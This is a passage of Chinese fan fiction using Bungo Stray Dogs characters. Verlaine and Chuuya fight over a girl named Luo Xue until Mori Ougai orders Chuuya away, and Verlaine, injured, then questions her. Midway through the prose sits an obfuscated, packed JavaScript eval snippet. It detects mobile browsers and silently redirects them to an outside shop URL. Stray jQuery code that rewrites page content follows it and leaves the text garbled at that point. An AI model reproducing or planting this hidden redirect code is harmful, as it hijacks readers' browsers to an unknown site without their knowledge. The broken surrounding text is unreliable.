魏尔伦脚步轻抬,下一秒出现在洛雪的面前。
少女望着他的眼眶红红的,泪水沾在浓郁的睫毛,像是不愿意让他看见这么狼狈的模样,用手擦了擦眼睛,委屈地别开脸。
怒意让魏尔伦的神色阴沉了些,他轻轻托起她那只刚才被中也抓住的手,心疼地注视着红了一圈的手腕。
“他没弄伤你吧?”
洛雪咬着嘴唇,口是心非地摇头。
“没事了。”魏尔伦轻声安抚,单手将她搂入有力的怀中,护在白色西装之下,又说了几句柔软的哄人话语。
中也直接被晾在了一边,如此碍眼的浓情蜜意画面使他觉得自己就像个小丑,不甘地看向别处。
暴雨还在下着,地面积了一层水。
许久,金发男人像是终于发现在场的原来还有别人,慢悠悠地转过头。
“让她跟你走?你当我是死了么,中也。”
天台上的警告全被当成了耳边风,公然觊觎只属于他的人……魏尔伦的目光暗了下来。
他的弟弟真是好得不得了啊,一刻也没有将他这个兄长放在眼里。
中也冷笑,高傲地扬起下巴,口无遮拦地回怼,“你早该死了。”
魏尔伦似笑非笑,脸色阴沉到了极致,怒火积攒在心头。
他直接拿令中也难堪,无法接受的那一画面说事:“是昨天晚上在门外听得太清楚了,所以现在还没办法冷静下来吗?”
怀中少女一怔,不明白魏尔伦为什么会突然提这个,仔细琢磨,隐约从他的话猜出了几分。
想起昨晚在床上时的荒唐,她心虚羞耻地瑟缩了一下。
“闭嘴!”
中也咬牙切齿,移步换影般敏锐地冲向魏尔伦,拳头快得看不清,在重力的加持下,力量被放大了千万倍。
换作普通人恐怕早已一命呜呼,对于魏尔伦来说却不值一提,和普通的打闹没有区别
“你要对我出手吗,中也。”
魏尔伦搂着少女侧身躲开,仿佛面对的是一个调皮小孩,苦恼地皱眉。
“少废话。”中也精准避开他怀中之人,拳头再次挥了过去。
“这么激动做什么,刚才被哥哥说中了?”
魏尔伦气急反笑,嘴边笑意戏谑,一边护着洛雪,不让战斗波及她,一边抽出精力从容地应敌。
每一下攻击都近在咫尺,带起的风从耳畔掠过。
她惊愕地看着他们大打出手,刚想出声制止,便瞧见魏尔伦轻抬了一下手。
暗红色的重力光芒环绕着她,将她移送到了安全的位置,与兄弟两人离了远远的一段距离。
“来吧中也,这么多年了,让哥哥看看你长进了多少。”
没了后顾之忧,魏尔伦专心投入到了战斗。
中也的每一招都奔着他的致命处而去,毫不心慈手软。
魏尔伦游刃有余地抵挡着接连不断的攻击,和中也擦肩而过时,冷嘲热讽地低语:“只懂得用蛮力,你这样怎么让她满意?”
“我说让你闭嘴!”受到了刺激的中也挥拳得更快,使出了一记侧踢。
魏尔伦轻而易举地看透了他的想法,屈起手臂抵挡,就算不使用重力,也仍然尽显暗杀王的优雅。
洛雪呆愣在原地,目瞪口呆地看着眼前发生的荒谬一幕。
明明昨天晚上在烟火大会还好好的,金发男人温情地搂着他们说是一家人,这才过去了一个晚上,怎么就天翻地覆,拳脚相向?
事发过于突然。
在场所有人都不知道该如何是好,mafia两位战力最顶尖的重力使打起来,现在上前劝阻无异于送命。
红色的重力波击中了大理石墙面,无数裂痕漫开,整面墙轰然坍塌。
混乱之中,有人顺手拉了她一下,帮她避开从穹顶掉下来的碎瓦。
“洛雪小姐,您快想想该怎么办吧,这样下去根本不是办法!”神色焦灼的黑西装恳求地对着罪魁祸首说道,急得团团转。
“我……我也不知道啊。”洛雪脑子一片空白,茫然地注视着前方十分具有观赏性的打斗画面。
白色的西装随风摆动,黑色的风衣也不甘落后,张扬地飘摇着,兄弟两人实力不相上下,难分悬殊。
较量完重力,战斗变为了纯粹的肉搏。
“体术你也赢不了我。”魏尔伦调整着呼吸,语气戏谑。
“无论你多么渴望,都只能像昨天晚上那样在门外站着,她是我的,懂吗?”
魏尔伦这次不再躲闪,硬生生地接下了中也一拳,鲜血从嘴角溢出,趁他后撤的空隙,化被动为主动。
“这回哥哥可不会手下留情了哦。”
魏尔伦敏捷地扣住中也的肩膀,拳头往他腹部脆弱处打去,疼痛的闷哼声顿时响起。
橘发青年痛苦地蜷缩了一下,脸色变得惨白,受到巨大的冲击,迟迟缓不过来。
“中也啊中也,你拿什么跟我抢。”
金发男人没有趁胜追击,停止了攻击,居高临下地望着青年。
他并没有真的想把事情闹太大,本意只是想顺着过两招,让中也知难而退。
中也吐出了一口鲜血,蓝眸里没有一点认输的神情,低低地笑着,反手扯住魏尔伦的领带。
“魏尔伦,你以为这样就能让我放弃么?别做梦了。”
中也身体往前倾,语气挑衅:“你总有看不住她的时候,只要我还没死,迟早有一天我会用同样的方式让她在我怀里哭。”
魏尔伦的眼神骤然变得阴冷。
他的手部重新发力,搭在了中也的肩膀,施加着千万斤重的重力。
中也紧皱眉毛,咬牙承受着要被压碎般的巨大痛苦,满脸倔强不服气。
短暂的僵持就要被打破,战斗再次一触即发,中年男人不悦的声音从楼梯口传了过来。
“住手。”
森鸥外从盘旋的楼梯迈步而下,尾崎红叶跟在后面。
“两位,适可而止。”
较劲的情绪上头,兄弟两人全然没听见首领的话,眼看中也正准备冲向魏尔伦,森鸥外不得不提高音量警告。
“中也君听令。”
橘发青年怔了一下,茫然地看向他。
森鸥外声音强硬:“我命令你退下,离开这里。”
“首领!”
中也不服地出声,中年男人却没有看他,双手交叠在身后,神色不明地望向前方。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17893440|206278||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>他不甘地扫了一眼魏尔伦,扫了一眼角落处担忧地看着他们的黑发少女,捡起地上的帽子,踉踉跄跄地走进雨中。
危机解决,很快有人来收拾一团糟的残局,在场无关紧要的人都松了一口气,回到了各自的岗位。
“魏尔伦,你还好吗?”
洛雪急急忙忙地跑向魏尔伦,担忧焦急地嘘寒问暖,扶住他的手臂。
金发男人嘴边沾染着鲜血,脸色看起来不太美妙,却仍站得笔直。
他刚想回应,身边穿红色和服的女子先一步启唇,笑盈盈地讽刺:“洛雪小姐的能耐比我想象中大一点,先是我们的暗杀王先生,接着是中也,妾身很好奇,下一个又会是谁呢?”
尾崎红叶故意调侃,意有所指地看了森鸥外一眼,对方回以一个礼貌的微笑。
魏尔伦冷冷地睨向她。
“哎呀,妾身失言了。”
“魏尔伦先生可千万别跟妾身计较才好,这栋大楼恐怕承受不住您第二次怒火。”尾崎红叶故作失态的捂嘴,浅笑旁观。
魏尔伦懒得跟这两只心机深沉的老狐狸斡旋,拉起洛雪的手径直离去。
到了地下室。
金发男人再也撑不住了,扶着墙壁吐出一大口鲜血。
中也的实力果然不容小觑,远远比六年前要强得多,刚才挨的那一下虽然不至于致命,却也让他元气大伤。
伴随着危机感与怒意而来的还有欣慰,不愧是生命和他同源的弟弟,会呼吸的神明荒霸吐。
魏尔伦在心里感叹道,配合地被少女搀扶到沙发。
洛雪立刻拿来了酒精,替他清洗完脸上的血迹,用镊子夹起纱布,心疼地擦拭他嘴边的青紫。
“魏尔伦,你又受伤了……”她自责地垂眸,自顾自的说。
“你刚才明明可以躲开的,为什么偏要硬接他那一拳呢?”
想起金发男人吐血时的画面,她声音哽咽,“魏尔伦,你以后能不能不要那样吓我了?”
魏尔伦一句也没有回,任由少女摆布着,拿出手机打字。
很快有一名黑西装赶来。
金发男人随意指向茶几上的瓶瓶罐罐,平淡开口:“把药给他送过去。”
黑西装顿了一下,一时茫然,“他?”
魏尔伦目光瞬间阴沉,面对没眼力的下属,语气不悦地反问:“还能有谁?”
脑子努力地运转,青年俊美的脸终于从中浮现,黑西装连忙弯腰点头,“是!”
“还有,帮我转告他。”
黑西装恭敬地等待金发男人发话。
魏尔伦顿了顿,冷笑:“都二十二岁的人了,别再跟个冲动小鬼一样。”
“是。”
安置好一切,金发男人疲惫地缓了口气,往后靠在沙发,闭目养神。
“魏尔伦,你怎么一直不理我呀?”
黑发少女将纱布酒精放回医药箱里,怯生生的询问,望着他的目光有些委屈。
金发男人仍然没有应答,脸上看不出情绪。
就在洛雪以为他会继续沉默下去的时候,魏尔伦慢慢地睁开了眼睛,对上她的视线冰冷锐利。
“那天在书店遇见中也,你都做了什么?”